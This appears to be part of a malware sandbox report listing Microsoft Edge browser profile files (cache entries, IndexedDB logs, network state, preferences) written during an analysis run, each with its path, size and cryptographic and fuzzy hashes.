SHA512 48a77f7322ac8c58cbaae633c5aaf5ab210a748fcc427a77b30a3ff233081aa2cf9c6d803d1dc96715f654f3b80d05c9fdf9a7d76515e646c2b2d508e9373702
SSDEEP 12288:tdOv8T5EX6Tlygch88S7pE5EYQBc5EEXjf+ayN64l:zRmWTchX2E5EJ0NTWae
TLSH
T1AA942338430692324DFB48004982D1F80997FE5ACB3B7EE9175D5A0BB24E737E796439
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a1
Size 28KB
SHA256 acf8759c42025dfc9a1eccef575096cc66449287c1c2733177c5c37ae21ea44e
MD5 a633ffb262ce47f0df9d92f0c459c6c2
SHA1 45daba392d2d6f991a7b63e846a17d3560add78c
SHA512 921a34c7129dcd19039d00b8b00bbd29b85a4a4157952aac1fa753b6f2e7cf2e0dfe1e2ff6b9e24da77610168875e224f78513007edce3c12a5492e05b5ac6a0
SSDEEP 768:HxgsZc/kCuuUc3k+Hhb0FOGuohjWCzVzhV:R/Zc/kDakyQFOHohfVz7
TLSH
T127D2F1CD67DEA817632FE204682417118928BD19AC42F5008DF6DBFE476F25BDC85D08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a2

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a2
Size 77KB
SHA256 90e7b18567ccbf71c400ea1e99e09dbe3dc02490d6e74061b19c76a72bd899e6
MD5 e70ccdc02870f893154dcb81170cf453
SHA1 0e20a2dc33d72415c39d2541b9e7a944f729ca3a
SHA512 c55ef8532368ebdd4c10eeaf6689ae7342518f997a2a6003ce3832a41c60fb17ca046e6830070592cabeee41d30892dd9641ffc1d69088bab61892339a42af07
SSDEEP 1536:3JrHanykZQh6LuzHKpjQgGuAqRcxW6XPMznEf/KwA84et1cCwIvTuQEunWt:ZTanykZQh6hp/RMW60zno/rA8LkX0nWt
TLSH
T1907312927CF2A330ECD12AF7A1673DF4253E8815674B5225DE2DD1C1B31B9D93782A28
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a3
Size 20KB
SHA256 f812e04bc135c778560dff8344d15bf4d3ffe6fcd69ebfc7445f179747ee2ba7
MD5 30c47bda8aee7ca861482e06fe6fe702
SHA1 1fc8c6ad8a1c8c38bc5c287fe2904465a14c0cdb
SHA512 06ccf6708d6ec21c3534bbe9f5d73a1d220597cde312da5c2d52b4d8ce132344f3f36540eda9d2ca27b271716ad70f5f3d9f753926c9f7d76f083f9401f7c0dd
SSDEEP 384:ZPOTklaqhgOhqM8vVUdl6HhipyaCkzWrf3VETbSY6laVLL7QjPJ+exm3:ZWT3whz6Wdl6ECkzWr/VETbSlsp3WJ+N
TLSH
T17FA2E0699ACE979B686244021F72D6F13A7F675048CCB3D4A1E0B1AE6645301DCF2F4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a5

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a5
Size 78KB
SHA256 87f0d4a53dc62a7f19ce9ad3525738bbec696263f64449899dd8b63d4c315621
MD5 2a813eed090eb1a21a62a841ed91c4aa
SHA1 39cefb1a083dd4413c7d944b34bf59708987298f
SHA512 e804cd9e8557c4d25a80b7c73105d36cabafe670f71bf74599d06496b3f9dc6932ab87388a31a432508c0418861216a6e9c4574078d55b7a9306b8a83696d598
SSDEEP 1536:MvxvqW6SMmN0C8w0X/qUgO3ra14vueEsPLXgr5OqZBl0MIMnk5xA3D+b:ql2CkXcSrA4vHE2LXgr5OqZB+M0IDo
TLSH
T14773124A41BFD161AEA8FD887BDD30A96A27394C8FE2C447AC9D134D4EC5E3D16C3189
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a6

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a6
Size 16KB
SHA256 752c02081cc5cef32186b55de3dfc46b42c063219740a541ca50f9c490d4c560
MD5 ddfc9fd76d1d0983d4899f9cbac997af
SHA1 754ada8ab97ad733c3632dc3993d4aa3fd791533
SHA512 49fcdd280a266c6bc683dc7304c14677ea0c2b23d1c782327b036e987b2dda34d7f07370b97ccbcea4f0917eb4261b18f40515bbbbfae4a6006604143add3762
SSDEEP 384:HDA3GB9nc5qCukfTRy+WCAnCv2y+PhBeju2bsKTTMKg9AsVq:jfXnc5q5krR5BH+yTjhbsP70
TLSH
T1F672E1E6071A10A5B7171D5BF9C4330C06BF6C7F136D1CE7BA96BE145926AC80DC1DA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000a8

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000a8
Size 128KB
SHA256 85b6a6ec3ff4d947c9859904da096dee0e8412646ced7ddc983c1fcb8d2e485e
MD5 7e4c208669d74bfb0e73a225e9db01cd
SHA1 414362330cf8ebc23cf8adf54a76d2214e3e425e
SHA512 137e9b79fff86a63f99eb5730edf327467c95a5acfdd63104e09985dd2dbd69ef0ffa1ab10f0ed1ef718fbf541f5004f4a51403e7f62de9f3943ad74f00687c1
SSDEEP 1536:sxJENA1yEiM78Qr/q0FkbClOAopWxWDpHm4YxWvhJcnnYZyn2zwKU7h:Ox1yB280/dkbCJopWyltceh8j7h
TLSH
T1DAD37070FBC3D781CB432BBCA43C3E730B5501D162D95A1B46636D16A584FB6922BA3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000aa

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000aa
Size 256KB
SHA256 2d21ac77d43aac526fc8f4f95a4f2ba2c95221f904b0a14b1b6ed77d14874ca9
MD5 0a278f69b6bb8164cdd94a2b8ddb4b06
SHA1 bfa2d69a23529a94d4117b22c0b26be86485d58a
SHA512 4b19cf11c2480df5c75c5cd7c90d1af930821509e7917a0747f7e144871190cfaf646ae4a9c950e9488d7718f5825bcbee34d7e8dd78d7e6f4e4cbae9ddcf871
SSDEEP 6144:qyCY92VsF6NpN+5rIs0mSWOPn/+pWDkyXwgZjBXgUe:1CYSsFI0c7m1uNXpjJgUe
TLSH
T1C54412E6EF02D351CB832FB7E12E2D735F38E4C534D56D2511B96E00A498C25CA07B6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000ab

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000ab
Size 256KB
SHA256 ee820160c0242e2f55aa571f70dd454c0b3348f5da39790217e95f0ac41a5366
MD5 a81b9c917516ee702f86bbeb85fb8cdf
SHA1 99064bbce2dcded273db0da1a335d0cd08e8ca4f
SHA512 a536a015b107db3d96e0fd69beb0a130d8214ca3cc80efb814aa355be2317eb402fe870e38685fbb55f56d4bfeb9b08dbe252b8430f27a61b58c921acd682c08
SSDEEP 3072:eMHsmKS8H+GQ6EsHfdUalhzVJfiaC6UJ7oywiRjfTwrkZsgU8QO62181aVdEtbns:ekwH+GQ6E264MaCTl5XFwrkPQOsusbs
TLSH
T16B440168F383AA84CF434FB6D02D0F73575A56DA20DD4E1E8B658C64F9C0192D723A5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f_0000b8

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000b8
Size 171KB
SHA256 c133c62d182199e37163c746f916b9e3f17d62878d737448831e3246a13e1715
MD5 e3ce800d8eae2c1fb82a5634a393dc8a
SHA1 2a8548ed9c42654bc5d907133bf9253233724d77
SHA512 d6f48fc8308c873eeb5aceca5fdcef190e551dc08e330d311518ac954747ec3a07b7da88d475675910fcca2e7269ef56ed9de71dc26dabb5366111b33a04e6f3
SSDEEP 3072:TzqYWk9aIkS6XEykFcKPQkbL1R2uRqlZ7rh8UswzHcCdtnQjqK2CaQVPxl+jNYUU:Tzqtk9hIE3nP7w758+zTtgr0QVPYYBiY
TLSH
T18C0413E417268FAE7CED50A6FC3532B7F92C0114EC48A95D2E9BA40FB6510925D30F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 8e23bfcee7f965857fc2656013c010234dc4bee0b042cb3b169cbe41a398dd51
MD5 a8b6725ca711290ca28b0c29a19656ac
SHA1 436deba9176781b708a7dd261b9ae53d871b9e0f
SHA512 089e07289b57882df21e6daa53d843b635b41fc32742521c5410e8e14ab0c8ec0846e3564cf3403e363bc04ccb92cfe8ce6e3f975b3a4b2037dc4b5a1563355c
SSDEEP 96:J+DkpjGocCd9ZuII/K/3a5PmpLoMRbQl0tpu4MTdsV:hdNd6Kf62LrR7rufsV
TLSH
T1EAE160657984A822EFD0613858D81C62F27C3B9A05D77F97B6BB1C7C56BFF8420B0449
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 6KB
SHA256 4ed95ae513453abfddc089fc4067d63c56f269d2d5e7a30b7041c5ea285ed29a
MD5 2f23c10858d88292a58ca27d8865acf0
SHA1 0e1e2426299c373d1c37bf32fda0a45f06b60f06
SHA512 717dca9544281a37644c5e9bf1132f6843ab42338487e4f81437f2e20679bf6b7564b82047271c27f3fd70613c43aeb642d479a461518c9b1128a81a83696c4c
SSDEEP 96:d++JkpjMor+9cSzdpIYvZnamvpa6oMAQ9f1IMHRp3w76:dmdF5Cvp9frt1p3w76
TLSH
T1C6E1B5B47D949822EBD0627414E90852F23D7B8E11C37F9AF3BB6C3C86AEF952061845
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 7KB
SHA256 7eb971fe3cfa8a7dca2a928069d3d7c4febc391350deee5f787c21d630eacfb4
MD5 78e90f5e9c7b4e8f8129d9b359c4e126
SHA1 4da3986cafe0bb0f87ef2c6a8fc63d0dd5ebc6b2
SHA512 e9674260c3d577532928327178e8c933cc1f8e47b7215f8bef26aa6e181cc80bf70f509c8136dab0672a2d205ea2009ccc26e0e231e04c2d7dec54174e790f16
SSDEEP 96:+a+DkpjGocC79OuJH/NP3a5PtKLPVLbQlgtpQ4B1dsP73:tdNQeNv6wLdLfrQSsP73
TLSH
T1FAE19364BD84A822EBD0613858D81866F23C3B9A05D77F87B7BB1C7C56AFF8420B0449
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58f7f7.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58f7f7.TMP
Size 3KB
SHA256 ada48450ae94dfe3159e76fb88cbeab0d5e7f46caf6492214173dc6315cbb016
MD5 97bd817c58bfba830cb425d9cc26a15a
SHA1 13e48615a9c2949e1cf8cdc438695b754c30bed2
SHA512 ef3b8a69f3b57de4afa7db559f52d2233dd6dafe5261cbf9df48514861a47df0d0c1f1e280591af304e8a92c9030720c054418ab4cb99b48accb31cb2e33addb
TLSH
T1F7611BB97D45CC67EBE4A17149AD1125B23D4F5806879E1133FF1C3C4AEEB613070955
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\File System\000\p\Paths\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\000003.log
Size 12KB
SHA256 13dfc987693392fba795454e7acf8fdca286c77d39e5a45652636cff9cd7564d
MD5 dc96a24d24f0e8a8c86e27c8f36173b2
SHA1 79622f48c4cdc8180d64942afff80c5cc5d810b8
SHA512 b93f790581581f2c281983e0ed6698d1138b211a7fb9fcd2e5ffb40e4203a628b1b54b866917ebc09aa8374338f3a703f474107c429043b31ea5a976a99ab15a
SSDEEP 384:fBuCjlNFox+yryyJvi6lrkVpCvDqjD+54MDjPdxzTkM2Mszf0:JuCjPFox+yryyJvi6dkVpCvDeD+54MX9
TLSH
T1354245A575E5598DF63B4BFABC711BD40869BD987E00ED1D60A0718E8D74F408B33D22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\LOG.old
Size 345B
SHA256 0f2c3bf1f5f0ffcbca9187499bd3e32e273100395001d73924342fb48a870f33
MD5 e80bf4ce8133815cec332a18d51eccf8
SHA1 c943d5b3da3ed93b9984e0d57d216779d609d209
SHA512 7129e8be36f8ee25313afc2772860f5eea24939a77c60093d23acdef72aa10a0d8d4f4b334d807909018e884c044917d93158440cb52775d836174007b53d301
TLSH
T1E6E0D878DDC9C21F526450E60A25BB0AD5B3260BA6886D450E0DCC487483144B57D151
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 7KB
SHA256 562e405f3ea649ad32a8236a78ab10cc78ad1972227ae71aed1a9827fb09916b
MD5 bd9298a169503ce807a37bbf90580c5b
SHA1 394bebb26dcdfa82fdf0fe2ba73d2db4a6f8a6b3
SHA512 357a0fa0b6a53314ad752d54ac3d341372bf52de924f77ea823dcbcafc5cb347032dd8c4ec192b58df52e62312720e86176afc632a6ee4312eeb90ddad1710f6
SSDEEP 192:DSC89k/Rh2z1Lj44qj68ir2jgxpz7gL/77OKvctUH1vc21GQtG:DSC89k/Rh2z1LE4qG8ir2jgxpz7gL/7c
TLSH
T167F1CDF783F9826DD91191F0AA186F1BCE5D055243AC3C5A89E4AF0BA3F2471E151B8E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 8KB
SHA256 116c945b3fbbc50429f4cfdf4582277072574cf1942a3ab7f29f890d17cb5564
MD5 7264df4c925e8d9e0dc550a13a6438c9
SHA1 1d24601b7f95dead4b30eb10b39abb73ef2ec2de
SHA512 4f693b7066a3f8c65a0432cbe7b88b75c5ea9905342e6dbefb620185059cced881f7e1527f03c3618cf46ad438b785e9c949775b85b62e36985b9fe99067d4f0
SSDEEP 192:DSC89k/Rheaz1Lj44qj68ir2gxpt/7OKvl1vTtLZx7L577gptcZYGk:DSC89k/Rheaz1LE4qG8ir2gxpt/7OKvw
TLSH
T1E402CDF783F9822DD91191F0AA186F1FCE1D055243AC3C5A89E4AF0BA3F2471E151B8E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a4351ae22267ee2deaebb4248a1ad670c9906f6867890b27f5dbc6826aaaa0a5
MD5 714ca533f06ed91fd368bfc0d326249c
SHA1 edacc2242f9b0f60d837ca204d0fb7fa355554bd
SHA512 a4fa3a446838171441e9fda2a79e159b213e174b3ea2ab5fb45078771105d70672118e38c5e642c01a11815ce0d2dece43ad3306b2d15c13c5f7f6d31753967d
TLSH
T1EA31E0F3C3E8993D890185F0B6183F2B8EA90955931C3C9FC4E4DE0B93E28B5E10585B
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 209B
SHA256 52deac3842fd6ba3297a1f67daeeaa30dc7d71bc1c5e18efa99344560c3204f4
MD5 f6d6b1715d387f0787778f18b0de4018
SHA1 0563a751eb9b0c47d3e78bc4def392ba039870b1
SHA512 30ee874c6207e1403fdebadc4160c6f5f53b9c99a9314126d3eb4200f10043b9e20c24947d7679caa75f1b428c3be7e6461047a557b3aa7b27a14c1875261dfe
TLSH
T150D02313130070F6AA7C2D914457FD4FC36710360883DDECE0F0AD59093587D0547540
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 22KB
SHA256 551c5bf26df2a862c7f4f6a0074afc34e33dc239cab5c940a41de3bb801d8a14
MD5 60e902be67ec875baefdd3573aa5af45
SHA1 f0d928bf574c674685314c6525e2a5a960982fff
SHA512 4491987d62ae941f7924982ec6674c4e0d98aed1d8695a049f342865c52861e7bb29dadb374ada59f4fc0bd7565a086a2d75836de9cdc012724170fc4736c1f2
SSDEEP 384:sxZmnh4qrm4h/ftsJfc3bJpmsAU8lpHbLtdQ/orRh0TPrUi:sYhfrm4h/fifcLPmDFrHb2KUrrUi
TLSH
T1AAB2F85669249A778CDBC619F9267F56D7F80023C9904E8CAAFCC90C04EA6FD2513C6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 b2f4b4ec952ee6eab8055ea82078fe6eec291d4aa90f38d6198a01ed293230a7
MD5 ef6c838276f55db81c2cbea749ebb705
SHA1 fd8d31a409e9be18ffa3e6af3fdd0aac39e88862
SHA512 ecbb7065b80a39f91943c6f84f48bae39de1a1ec28e0a23a2c40a45ef143f90436ad080d235850540542e1ba7b35dcf74c8425a6971c64b1d0244a890171da2e
SSDEEP 192:sxZoR/yMqZ/K1Ml8Mkh/ftsa8fSakRZJk+zodppqHW6+WNQ8U/Yxy97eNHIgj10J:sxZo4Mh/ftsHfS3bJklAHbg/iRjC
TLSH
T18972E9156A38AA77CDDAD209F6457F53D7F91573D1404E489AFCCA0C04E6AED211382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 1f2dd2d1ddc00287fe133b37aebd214a348b9fc224206a910443d0a351bb129a
MD5 d917892793b484e993c23d4c1685ecc8
SHA1 e71fb8c32a54d0f5a6ce052ab0712700b7d72bff
SHA512 376d014ff9b1bd20adc789251aebdad6774a56fecc2f8ed1005bb4b4cd0d7aba32538852ec447a7b4ca0ef8f0680a4e3139e23590d5bf6ffdc513ad819760b2e
SSDEEP 768:Jdc+tx27pLuL/VRWvV/qH8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcDFkLlMeNtFrom:Jdc+txWE/VRWvV/qHu1ja5DFkLO6t+Op
TLSH
T1D8F20C3B2C0CCB7E4F844E9CEC2A7E9E6EE401CB96988D5447F9885C02C66EB55171DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\218b6345-4fb1-4dce-8c3c-ae6caae8c6e9\index-dir\the-real-index
Size 72B
SHA256 4fc72a0eed6bd38899053490fe18f40f0c7910403842aeadce039434443c9b6c
MD5 48945b98c089ba9bfee1839c910ebaaa
SHA1 7c1be10287ceda805de33be9f0127c732d59746d
SHA512 81e03cf2a1362e062ee9a51346b47276b17ac06b7c8509c27facc06df174f4caf94043094e1eb78ba930651808788c7f230bcab16c43a287b42f5176258b77d0
TLSH
T1F4A0022563624189C6A01F7432954272661D8D550A07D21FC0A410A4CD60970D30284C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5abaa6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\218b6345-4fb1-4dce-8c3c-ae6caae8c6e9\index-dir\the-real-index~RFe5abaa6.TMP
Size 48B
SHA256 a0864448325aa7a721dd10ddeedb051d691c5abb43551b56dca2a5d4aff39ee4
MD5 7af4f3a957ead1c295a6ea977faad501
SHA1 df595695cdd731266f5998ab348b90ee1cb34ed6
SHA512 5a27d98c49d8580c22de254454164384ac2232fc25e0142b08a798eabac3d9f86f936a185a944ddedcdc84c4a8cc578e90a2f95e6005b0b30dd7fd225aa6ba7a
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\91d73940-0d21-4161-b459-1da74c6e5c7d\index-dir\the-real-index
Size 72B
SHA256 a4c8a16b418698b1db1e45e70ef210af5f58f0ecd03f6a17faf995b28be80829
MD5 27ce93f8d76bf0fc763d794a19658df6
SHA1 42e897d0f9987034806eb45ab4467d7b2749dbac
SHA512 89f60c9e92cc5a6aac377b8bfd90d519507665d09a715876fbf4a8f1b00f097b9b9c857c8344d3c254b9f7d4586b3c8978cb5c2dd11aadce14b41459c653d09e
TLSH
T1DBA0021446950183F01A27B139FE03813311D9100255174751D42984CC646559E8141C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\91d73940-0d21-4161-b459-1da74c6e5c7d\index-dir\the-real-index
Size 72B
SHA256 c5dd48dceb1bf984900f2dce7f9cb97353d0393be5408733242813ee0714b3f4
MD5 765019abcbfc03786fc1cff91dce3fd2
SHA1 37de699c195aa34c71132efa4771224f89e25c6a
SHA512 5943477dbdf8205c0badeb8b2ce2be21949ef9dab340c9d7ca556df90f8b45b72f0eabe4722b916a984b7e69eba1ab62c4f64e27919588d50d687c8d592e3243
TLSH
T1D1A002700389048DC02B99F1199223D162008ED05192224650920045DE604C057490EC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9ee838dd-a441-435f-b78f-4a16a5581428\index-dir\the-real-index
Size 2KB
SHA256 7d50d3195fb0bfb962602e0ce496ae13e064076f8370056700428789b211b090
MD5 88a21d1a20fd6d2f3ba81b6e78211811
SHA1 441fb48941c8e5bcf96dfc0cb174fe5b6e6607f0
SHA512 13ff71cf2f311b52408e6ec221c254e7de702c9e840e2abbe90400520840723f509a6bc28a1b15e47a1e8b36a93da7c1f445e4df975c439725600035761339b6
TLSH
T12651B60D9C0A1F26D9B821F609BB0405377994CE4BF50B57ADEC9974BC8333A5E89111
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9ee838dd-a441-435f-b78f-4a16a5581428\index-dir\the-real-index
Size 2KB
SHA256 f30173754ab29a97a66daf1bca7ff939c39b4c77ccd0773e88ac0e2639691279
MD5 1602b16d56e84e13e7f16cc9cd6a5576
SHA1 2923570b9d4aec4ec59adc9158d1b8732bd75a3b
SHA512 8528c1ba7c622d96f415c3558425af34de4220a9061d9a336658952c9d10f27531fd234e10075b610f369cc64e08e98895ac401b663fc908b846f66741815416
TLSH
T11851E84D9C4A5F17CA7D12F1A8BA146A33394CFE1A58470B29FD5A3C6C8725A2DD7208
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe587683.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\9ee838dd-a441-435f-b78f-4a16a5581428\index-dir\the-real-index~RFe587683.TMP
Size 2KB
SHA256 fcbaf09979b85cf0aa315536634cb350501c0ae00ae01cce7a15261dfccf5726
MD5 55284272fd87bcd22c7e7cfc06978c88
SHA1 cfe3210c370e8d8c7451a96260c03658e2ad0f43
SHA512 b500f018ca5c52c5bd4d687d31564600695e03b731c77697f4d570e789f71aafb5fd1519b3461db8d114afdf6e13008716810089ef6258cb0c0be836d5caecc6
TLSH
T1A051C65E9C420A22CDA095B359CA6469333D68955E49BB0B34FCCA33ECC37AE3D57344
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\c5c3c74d-341c-48de-ac10-3ec789c3eec5\index-dir\the-real-index
Size 72B
SHA256 c9763c944797c6684beef13c7bd881f17f7c5b1814d926d9ef18d649ca229bed
MD5 868cc448c37ce212865c6820feca1a86
SHA1 4990532b635dd8f6142bb7c4fab4e11bdc1fd7f3
SHA512 17bd786ed9253683a52ff752cb9086679347fb68e6dee81e14576129074201ee77e89815ef60fbbec93bcd36fdb7aadee18ed6259a27b83420e716a716b8cb83
TLSH
T109A0027486750042D90157F46142017023A8DE650105C70F80D0255ACCD31E88D11188
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 371B
SHA256 7849edd6099aa0d735c7e67cf900cee2e6aadb0ba24a09dc3aa4c982494ae2b9
MD5 452e32882e70f0012f9c079e7ed15fc9
SHA1 9fc4f1f9fc97bc3cbe5164e87891122f8f947c32
